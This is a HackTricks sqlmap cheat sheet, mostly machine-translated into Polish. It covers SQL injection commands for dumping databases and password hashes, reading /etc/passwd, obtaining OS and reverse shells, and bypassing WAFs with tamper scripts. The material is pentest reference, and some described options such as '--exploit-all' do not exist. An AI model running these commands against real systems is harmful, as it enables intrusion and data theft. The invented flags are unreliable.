hacktricks/pentesting-web/sql-injection/sqlmap/README.md
2024-02-11 01:46:25 +00:00

32 KiB

SQLMap - Podręcznik

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Natychmiastowa dostępność konfiguracji do oceny podatności i testowania penetracyjnego. Uruchom pełne testowanie penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy pentesterów - opracowujemy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im więcej czasu na głębsze drążenie, otwieranie powłok i dobrą zabawę.

{% embed url="https://pentest-tools.com/" %}

Podstawowe argumenty dla SQLmap

Ogólne

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Pobieranie informacji

Wewnętrzne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Dane bazy danych

The --dump option can be used to retrieve the data from the database. By default, it will dump all the tables in the database. However, you can specify a particular table using the --tables option.

sqlmap -u "http://example.com/vulnerable.php?id=1" --dump

To dump a specific table, use the --tables option followed by the table name.

sqlmap -u "http://example.com/vulnerable.php?id=1" --tables -D database_name

You can also specify multiple tables by separating them with a comma.

sqlmap -u "http://example.com/vulnerable.php?id=1" --tables -D database_name -T table1,table2

By default, sqlmap will dump all the columns in the specified table(s). However, you can limit the columns using the --columns option.

sqlmap -u "http://example.com/vulnerable.php?id=1" --tables -D database_name -T table1 --columns

To dump a specific column, use the --columns option followed by the column name.

sqlmap -u "http://example.com/vulnerable.php?id=1" --tables -D database_name -T table1 --columns -C column1

You can also specify multiple columns by separating them with a comma.

sqlmap -u "http://example.com/vulnerable.php?id=1" --tables -D database_name -T table1 --columns -C column1,column2

Once you have dumped the data, you can save it to a file using the --dump option followed by the file name.

sqlmap -u "http://example.com/vulnerable.php?id=1" --dump -o output.txt

The dumped data will be saved in a tabular format in the specified file.

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Miejsce wstrzyknięcia

Z przechwycenia w Burp/ZAP

Przechwyć żądanie i utwórz plik req.txt.

sqlmap -r req.txt --current-user

Wstrzykiwanie zapytań GET

In some cases, you may encounter a web application that uses GET requests to interact with the database. This can present an opportunity for SQL injection attacks. By manipulating the parameters in the GET request, you can potentially inject malicious SQL code and retrieve sensitive information from the database.

W niektórych przypadkach możesz napotkać aplikację internetową, która korzysta z zapytań GET do interakcji z bazą danych. Może to stwarzać możliwość przeprowadzenia ataków wstrzykiwania SQL. Poprzez manipulację parametrami w zapytaniu GET, możesz potencjalnie wstrzyknąć złośliwy kod SQL i wydobyć poufne informacje z bazy danych.

To perform a GET request injection, you can use tools like SQLMap. SQLMap is a powerful tool that automates the process of detecting and exploiting SQL injection vulnerabilities. It can analyze the parameters in a GET request and automatically inject SQL code to retrieve data from the database.

Aby przeprowadzić wstrzykiwanie zapytań GET, możesz użyć narzędzi takich jak SQLMap. SQLMap to potężne narzędzie, które automatyzuje proces wykrywania i wykorzystywania podatności na wstrzykiwanie SQL. Może analizować parametry w zapytaniu GET i automatycznie wstrzykiwać kod SQL w celu wydobycia danych z bazy danych.

To use SQLMap for GET request injection, you need to provide the URL of the vulnerable web application and specify the parameter to be tested for SQL injection. SQLMap will then send various payloads to the parameter and analyze the responses to determine if SQL injection is possible.

Aby użyć SQLMap do wstrzykiwania zapytań GET, musisz podać adres URL podatnej aplikacji internetowej i określić parametr, który ma być testowany pod kątem wstrzykiwania SQL. SQLMap następnie będzie wysyłać różne ładunki do parametru i analizować odpowiedzi, aby określić, czy jest możliwe wstrzyknięcie SQL.

Once SQLMap detects a SQL injection vulnerability, it can be used to exploit the vulnerability and retrieve data from the database. SQLMap provides various options and techniques to extract data, such as dumping the entire database, retrieving specific tables or columns, or executing arbitrary SQL queries.

Po wykryciu podatności na wstrzykiwanie SQL, SQLMap może być używany do wykorzystania podatności i wydobycia danych z bazy danych. SQLMap udostępnia różne opcje i techniki do wydobycia danych, takie jak wydobywanie całej bazy danych, pobieranie konkretnych tabel lub kolumn, lub wykonywanie dowolnych zapytań SQL.

It is important to note that performing SQL injection attacks without proper authorization is illegal and unethical. Always ensure that you have proper authorization and permission before attempting any penetration testing activities.

Warto zauważyć, że przeprowadzanie ataków wstrzykiwania SQL bez odpowiedniej autoryzacji jest nielegalne i niemoralne. Zawsze upewnij się, że masz odpowiednie uprawnienia i zgodę przed podjęciem jakichkolwiek działań związanych z testowaniem penetracyjnym.

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Wstrzykiwanie żądania POST

SQLMap can also be used to perform SQL injection on POST requests. This is useful when the target application sends sensitive data through POST parameters.

SQLMap może również być używany do przeprowadzania ataków SQL injection na żądaniach POST. Jest to przydatne, gdy aplikacja docelowa wysyła poufne dane za pomocą parametrów POST.

To perform a POST request injection, you need to provide the target URL along with the POST data. The POST data can be provided in various formats, such as URL-encoded or JSON.

Aby przeprowadzić wstrzykiwanie żądania POST, musisz podać docelowy adres URL wraz z danymi POST. Dane POST mogą być podane w różnych formatach, takich jak zakodowane w formacie URL lub JSON.

Here is an example command to perform a POST request injection using SQLMap:

Oto przykładowe polecenie do przeprowadzenia wstrzykiwania żądania POST za pomocą SQLMap:

sqlmap -u "http://example.com/login" --data "username=admin&password=pass" --method POST

In the above command, we specify the target URL as http://example.com/login and the POST data as username=admin&password=pass. The --method POST flag tells SQLMap to use the POST method for the request.

W powyższym poleceniu określamy docelowy adres URL jako http://example.com/login, a dane POST jako username=admin&password=pass. Flaga --method POST informuje SQLMap, żeby użyć metody POST dla żądania.

SQLMap will then analyze the target and attempt to exploit any SQL injection vulnerabilities in the POST parameters.

Następnie SQLMap przeanalizuje cel i spróbuje wykorzystać wszelkie podatności na wstrzykiwanie SQL w parametrach POST.

It is important to note that performing SQL injection attacks on production systems without proper authorization is illegal and unethical. Always ensure that you have proper permission and authorization before conducting any security testing.

Warto zauważyć, że przeprowadzanie ataków SQL injection na systemach produkcyjnych bez odpowiedniego upoważnienia jest nielegalne i niemoralne. Zawsze upewnij się, że masz odpowiednie pozwolenie i autoryzację przed przeprowadzeniem jakichkolwiek testów bezpieczeństwa.

sqlmap -u "http://example.com" --data "username=*&password=*"

Wstrzykiwanie w nagłówkach i innych metodach HTTP

When performing a SQL injection attack, it is important to consider not only the parameters in the URL, but also the headers and other HTTP methods. These can also be vulnerable to injection attacks and can provide additional attack vectors.

Headers

Headers are an important part of the HTTP request and response. They contain information about the request or response, such as the user agent, content type, and cookies. In some cases, headers can also contain user-supplied data that is used in SQL queries.

To test for SQL injection in headers, you can use tools like sqlmap. Sqlmap has options to specify custom headers in the request, allowing you to inject SQL code into the headers and test for vulnerabilities.

For example, you can use the --headers option in sqlmap to specify custom headers in the request:

sqlmap -u http://example.com --headers="User-Agent: sqlmap"

This will send a request to http://example.com with a custom User-Agent header set to "sqlmap". You can then use sqlmap's injection techniques to test for SQL injection vulnerabilities in the headers.

Other HTTP Methods

In addition to the commonly used GET and POST methods, there are other HTTP methods that can be vulnerable to SQL injection attacks. These include methods like PUT, DELETE, and OPTIONS.

To test for SQL injection in other HTTP methods, you can use tools like sqlmap or manually craft requests using tools like curl or Postman. By sending requests with different HTTP methods and injecting SQL code into the parameters, headers, or body of the request, you can test for vulnerabilities in these methods.

It is important to note that not all web applications support these methods, so it is necessary to first identify if the application supports them before testing for SQL injection vulnerabilities.

By considering injections in headers and other HTTP methods, you can expand your attack surface and increase the chances of finding SQL injection vulnerabilities in a web application.

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Wskazanie ciągu znaków, gdy wstrzyknięcie jest udane

When performing SQL injection attacks, it is important to determine whether the injection was successful or not. One way to do this is by indicating a specific string that will be displayed if the injection is successful.

To achieve this, you can use the --string option in SQLMap. This option allows you to specify a string that should be present in the response when the injection is successful. SQLMap will then search for this string in the response and use it as an indicator.

Here is an example command that demonstrates the usage of the --string option:

sqlmap -u "http://example.com/vulnerable.php?id=1" --string "Injection successful"

In this example, SQLMap will send requests to the specified URL with different payloads to test for SQL injection vulnerabilities. If the response contains the string "Injection successful", SQLMap will consider the injection to be successful.

By indicating a specific string, you can easily identify whether the injection was successful or not, which is crucial for further exploitation or analysis.

--string="string_showed_when_TRUE"

Eval

Sqlmap umożliwia użycie -e lub --eval do przetwarzania każdego ładunku przed wysłaniem go za pomocą jednolinijkowego kodu Pythona. Umożliwia to łatwe i szybkie przetwarzanie ładunku w niestandardowy sposób przed wysłaniem go. W poniższym przykładzie sesja ciasteczka flask jest podpisywana przez flask znanym sekretem przed wysłaniem:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Powłoka

Shell to program komputerowy, który umożliwia interakcję użytkownika z systemem operacyjnym. W przypadku pentestingu, powłoka jest niezwykle przydatna, ponieważ umożliwia nam zdalne wykonywanie poleceń na zdalnym serwerze.

W przypadku ataku SQL Injection, zdobycie powłoki na serwerze może być bardzo cenne. Daje nam to pełną kontrolę nad systemem i umożliwia wykonanie dowolnych poleceń, które mogą prowadzić do dalszego przenikania w systemie.

Istnieje wiele technik zdobywania powłoki w przypadku ataku SQL Injection. Jedną z popularnych metod jest wykorzystanie narzędzia o nazwie SQLMap. SQLMap to automatyczne narzędzie do testowania penetracyjnego, które specjalizuje się w atakach SQL Injection.

Aby zdobyć powłokę przy użyciu SQLMap, należy najpierw zidentyfikować podatne parametry w aplikacji internetowej. Następnie można użyć SQLMap do automatycznego wykrywania i eksploatacji podatności SQL Injection. Jeśli SQLMap znajdzie podatność, może on automatycznie zdobyć powłokę na serwerze.

Po zdobyciu powłoki, możemy używać poleceń powłoki do przeprowadzania dalszych działań, takich jak przeglądanie plików, wykonywanie poleceń systemowych, manipulowanie bazą danych itp.

Ważne jest, aby pamiętać, że zdobycie powłoki na serwerze jest nielegalne, jeśli nie masz uprawnienia do tego. Zawsze należy działać zgodnie z prawem i przestrzegać etycznych zasad podczas wykonywania testów penetracyjnych.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Odczytaj plik

Aby odczytać zawartość pliku na serwerze, można wykorzystać funkcję odczytu plików w SQL Injection. W przypadku narzędzia SQLMap, można to osiągnąć za pomocą opcji --file-read. Ta opcja pozwala na podanie ścieżki do pliku, który chcemy odczytać.

Przykład użycia:

sqlmap -u "http://example.com/vulnerable.php?id=1" --file-read="/etc/passwd"

W powyższym przykładzie, narzędzie SQLMap wykorzystuje podatność SQL Injection na stronie http://example.com/vulnerable.php?id=1 i próbuje odczytać zawartość pliku /etc/passwd na serwerze.

Warto pamiętać, że odczyt plików na serwerze za pomocą SQL Injection jest nielegalne i może prowadzić do konsekwencji prawnych. Należy zawsze działać zgodnie z prawem i uzyskać odpowiednie uprawnienia przed przeprowadzeniem testów penetracyjnych.

--file-read=/etc/passwd

Przeszukiwanie strony internetowej za pomocą SQLmap i automatyczne wykorzystanie podatności

SQLmap to potężne narzędzie do automatycznego wykrywania i eksploatacji podatności SQL Injection. Może być używane do przeszukiwania stron internetowych w celu znalezienia podatnych punktów końcowych i automatycznego wykorzystania ich.

Aby przeprowadzić przeszukiwanie strony internetowej za pomocą SQLmap, wykonaj następujące kroki:

  1. Uruchom SQLmap, podając jako argumenty adres URL docelowej strony internetowej oraz parametry żądania HTTP, jeśli są wymagane.

    sqlmap -u <adres_URL> --data="<parametry_żądania_HTTP>"
    
  2. SQLmap automatycznie przeprowadzi przeszukiwanie strony internetowej w poszukiwaniu podatności SQL Injection. Jeśli zostaną znalezione podatne punkty końcowe, SQLmap wyświetli odpowiednie komunikaty.

  3. Aby automatycznie eksploatować znalezione podatności, użyj opcji --exploit-all. SQLmap wykorzysta odpowiednie techniki SQL Injection, aby uzyskać dostęp do danych lub wykonac dowolne zapytania na bazie danych.

    sqlmap -u <adres_URL> --data="<parametry_żądania_HTTP>" --exploit-all
    
  4. SQLmap wyświetli wyniki eksploatacji, takie jak wydobyte dane, wykonane zapytania SQL itp.

Pamiętaj, że przeprowadzanie przeszukiwania stron internetowych w celu wykrywania i eksploatacji podatności SQL Injection jest nielegalne, jeśli nie masz odpowiednich uprawnień i zgody. Zawsze działaj zgodnie z prawem i przeprowadzaj testy penetracyjne tylko na zgodnych z prawem systemach.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Wstrzykiwanie drugiego rzędu

Second Order Injection (wstrzykiwanie drugiego rzędu) to technika ataku, która polega na wykorzystaniu podatności SQL Injection w celu wykonania złośliwego kodu w późniejszym czasie. W przeciwieństwie do tradycyjnego SQL Injection, gdzie złośliwy kod jest wykonywany natychmiast, w przypadku wstrzykiwania drugiego rzędu, kod jest przechowywany w bazie danych i wykonuje się w momencie, gdy zostanie użyty przez aplikację.

Aby przeprowadzić atak wstrzykiwania drugiego rzędu, należy znaleźć podatność SQL Injection w aplikacji internetowej. Następnie, zamiast wykonywać złośliwy kod od razu, wstrzykuje się go do bazy danych, gdzie jest przechowywany. Gdy aplikacja później użyje tych danych, złośliwy kod zostanie wykonany.

Przykładem wstrzykiwania drugiego rzędu może być sytuacja, w której aplikacja internetowa przechowuje dane użytkownika w bazie danych. Jeśli istnieje podatność SQL Injection, atakujący może wstrzyknąć złośliwy kod jako część danych użytkownika. Następnie, gdy aplikacja wykorzystuje te dane, złośliwy kod zostanie wykonany, co może prowadzić do naruszenia bezpieczeństwa systemu.

Aby zabezpieczyć się przed atakami wstrzykiwania drugiego rzędu, ważne jest, aby odpowiednio filtrować i walidować dane wejściowe, które są używane w zapytaniach SQL. Należy również unikać przechowywania złośliwego kodu w bazie danych i regularnie aktualizować oprogramowanie w celu łatania ewentualnych podatności.

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Przeczytaj ten posto tym, jak wykonywać proste i złożone wstrzyknięcia drugiego rzędu za pomocą sqlmap.

Dostosowywanie wstrzyknięcia

Ustawianie przyrostka

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Przedrostek


Description

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Pomoc w wyszukiwaniu wstrzyknięcia boolean

Boolean injection jest techniką ataku, która polega na wykorzystaniu błędów w walidacji danych wejściowych, aby manipulować zapytaniami SQL i uzyskać nieautoryzowany dostęp do bazy danych. W przypadku wstrzyknięcia boolean, atakujący próbuje wprowadzić warunki logiczne do zapytania SQL w celu sprawdzenia prawdziwości określonych warunków.

Aby znaleźć wstrzyknięcie boolean, można użyć narzędzia sqlmap. Oto kilka kroków, które można podjąć:

  1. Uruchom sqlmap, podając adres URL docelowego serwisu internetowego jako argument.

    sqlmap -u http://example.com/page.php?id=1
    
  2. Jeśli strona internetowa jest podatna na wstrzyknięcie boolean, sqlmap wykryje to i zapyta, czy chcesz kontynuować. Wpisz "y" i naciśnij Enter.

  3. Sqlmap automatycznie przeprowadzi skanowanie w celu znalezienia wstrzyknięcia boolean. Jeśli zostanie znalezione, zostaniesz poinformowany o tym fakcie.

  4. Jeśli sqlmap nie wykryje wstrzyknięcia boolean, możesz spróbować dostosować parametry skanowania, takie jak --level i --risk, aby zwiększyć dokładność skanowania.

Pamiętaj, że wstrzyknięcie boolean jest tylko jedną z wielu technik ataku SQL Injection. Ważne jest, aby zawsze dbać o bezpieczeństwo aplikacji internetowej i regularnie przeprowadzać testy penetracyjne w celu wykrycia i naprawienia podatności.

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Modyfikacja

Pamiętaj, że możesz stworzyć własną modyfikację w języku Python i jest to bardzo proste. Przykład modyfikacji znajdziesz na stronie Wstrzyknięcie drugiego rzędu tutaj.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Opis
apostrophemask.py Zamienia znak apostrofu na jego pełnowymiarowy odpowiednik w UTF-8
apostrophenullencode.py Zamienia znak apostrofu na jego nielegalny podwójny odpowiednik unicode
appendnullbyte.py Dodaje zakodowany znak NULL na końcu ładunku
base64encode.py Koduje Base64 wszystkie znaki w podanym ładunku
between.py Zamienia operator większy niż ('>') na 'NOT BETWEEN 0 AND #'
bluecoat.py Zamienia znak spacji po instrukcji SQL na poprawny losowy znak pusty. Następnie zamienia znak '=' na operator LIKE
chardoubleencode.py Podwójnie koduje URL wszystkie znaki w podanym ładunku (nie przetwarzając już zakodowanych)
commalesslimit.py Zamienia wystąpienia 'LIMIT M, N' na 'LIMIT N OFFSET M'
commalessmid.py Zamienia wystąpienia 'MID(A, B, C)' na 'MID(A FROM B FOR C)'
concat2concatws.py Zamienia wystąpienia 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Koduje URL wszystkie znaki w podanym ładunku (nie przetwarzając już zakodowanych)
charunicodeencode.py Koduje Unicode-URL wszystkie niezakodowane znaki w podanym ładunku (nie przetwarzając już zakodowanych). "%u0022"
charunicodeescape.py Koduje Unicode-URL wszystkie niezakodowane znaki w podanym ładunku (nie przetwarzając już zakodowanych). "\u0022"
equaltolike.py Zamienia wszystkie wystąpienia operatora równego ('=') na operator 'LIKE'
escapequotes.py Ucieka przed cudzysłowami (' i ")
greatest.py Zamienia operator większy niż ('>') na jego odpowiednik 'GREATEST'
halfversionedmorekeywords.py Dodaje wersjonowany komentarz MySQL przed każdym słowem kluczowym
ifnull2ifisnull.py Zamienia wystąpienia 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Otacza pełne zapytanie wersjonowanym komentarzem MySQL
modsecurityzeroversioned.py Otacza pełne zapytanie zerowym wersjonowanym komentarzem
multiplespaces.py Dodaje wiele spacji wokół słów kluczowych SQL
nonrecursivereplacement.py Zamienia predefiniowane słowa kluczowe SQL na odpowiednie reprezentacje do zamiany (np. .replace("SELECT", "")) filtry
percentage.py Dodaje znak procenta ('%') przed każdym znakiem
overlongutf8.py Konwertuje wszystkie znaki w podanym ładunku (nie przetwarzając już zakodowanych)
randomcase.py Zamienia każdy znak słowa kluczowego na losową wartość wielkości liter
randomcomments.py Dodaje losowe komentarze do słów kluczowych SQL
securesphere.py Dodaje specjalnie przygotowany ciąg znaków
sp_password.py Dodaje 'sp_password' na końcu ładunku w celu automatycznego zaciemnienia w dziennikach DBMS
space2comment.py Zamienia znak spacji (' ') na komentarze
space2dash.py Zamienia znak spacji (' ') na komentarz myślnika ('--') po którym następuje losowy ciąg znaków i nowa linia ('\n')
space2hash.py Zamienia znak spacji (' ') na znak hash ('#') po którym następuje losowy ciąg znaków i nowa linia ('\n')
space2morehash.py Zamienia znak spacji (' ') na znak hash ('#') po którym następuje losowy ciąg znaków i nowa linia ('\n')
space2mssqlblank.py Zamienia znak spacji (' ') na losowy znak pusty z zestawu alternatywnych poprawnych znaków
space2mssqlhash.py Zamienia znak spacji (' ') na znak hash ('#') po którym następuje nowa linia ('\n')
space2mysqlblank.py Zamienia znak spacji (' ') na losowy znak pusty z zestawu alternatywnych poprawnych znaków
space2mysqldash.py Zamienia znak spacji (' ') na komentarz myślnika ('--') po którym następuje nowa linia ('\n')
space2plus.py Zamienia znak spacji (' ') na plus ('+')
space2randomblank.py Zamienia znak spacji (' ') na losowy znak pusty z zestawu alternatywnych poprawnych znaków
symboliclogical.py Zamienia operatory logiczne AND i OR na ich symboliczne odpowiedniki (&& i
unionalltounion.py Zamienia UNION ALL SELECT na UNION SELECT
unmagicquotes.py Zamienia znak cudzysłowu (') na wielobajtową kombinację %bf%27 wraz z ogólnym komentarzem na końcu (aby działało)
uppercase.py Zamienia każdy znak słowa kluczowego na wartość wielkich liter 'INSERT'
varnish.py Dodaje nagłówek HTTP 'X-originating-IP'
versionedkeywords.py Otacza każde słowo kluczowe bez funkcji wersjonowanym komentarzem MySQL
versionedmorekeywords.py Otacza każde słowo kluczowe wersjonowanym komentarzem MySQL
xforwardedfor.py Dodaje fałszywy nagłówek HTTP 'X-Forwarded-For'

Natychmiastowe dostępne narzędzia do oceny podatności i testów penetracyjnych. Uruchom pełne testy penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują rozpoznanie i raportowanie. Nie zastępujemy testerów penetracyjnych - opracowujemy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się, zdobycie powłok i dobrą zabawę.

{% embed url="https://pentest-tools.com/" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: